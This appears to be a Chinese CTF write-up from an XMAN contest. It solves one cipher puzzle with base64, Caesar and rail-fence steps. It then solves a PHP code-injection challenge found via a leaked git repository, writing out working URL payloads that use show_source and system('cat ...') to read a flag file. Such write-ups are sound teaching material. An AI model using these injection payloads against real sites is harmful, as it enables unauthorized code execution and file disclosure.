记一次被吊打的排位赛（writeup）

XMAN通行证

给了一串疑似base64的东西：

a2FuYmJyZ2doamx7emJfX19ffXZ0bGFsbg==

解密后得到：

kanbbrgghjl{zb____}vtlaln

想到应该是多重解密或者加密

最开始没有给hint，然后只有一位大佬做出来，后来说是栅栏加密，就想到了移位，也就是凯撒密码。

因为是flag，所以想到开头字母要么是x要么是f，于是都尝试了一下，最后经过凯撒得到：

xnaooettuwy{mo____}igynya

再用栅栏加密得到flag：

xman{oyay_now_you_get_it}

（默默吐槽一句中途加hint的操作太骚气了，都没看到QAQ）

MAKEIT

题目链接：

http://202.112.51.184:15080/

是前几天讲过的，git源码泄露，用GitHack扫一下找到需要扫出来的是：templates/flag.php

查看index.php的源代码，可以看到它代码注入的地方

因为差不多原题，就直接写了payload：

http://202.112.51.184:15080/?page=%27%20and%20die(show_source(%27templates/flag.php%27))%20or%20%27

得到flag：

XMAN{flag_is_so_cool}

顺便吐槽一句这道题还有点坑，最开始尝试

http://202.112.51.184:15080/?page=%27.system(%22cat%20templates/flag.php%22).%27

这句payload的时候它给我显示的页面是：

当时比赛比较紧张，就没多想，结果查看源代码也是可以直接出来flag的：

（未完）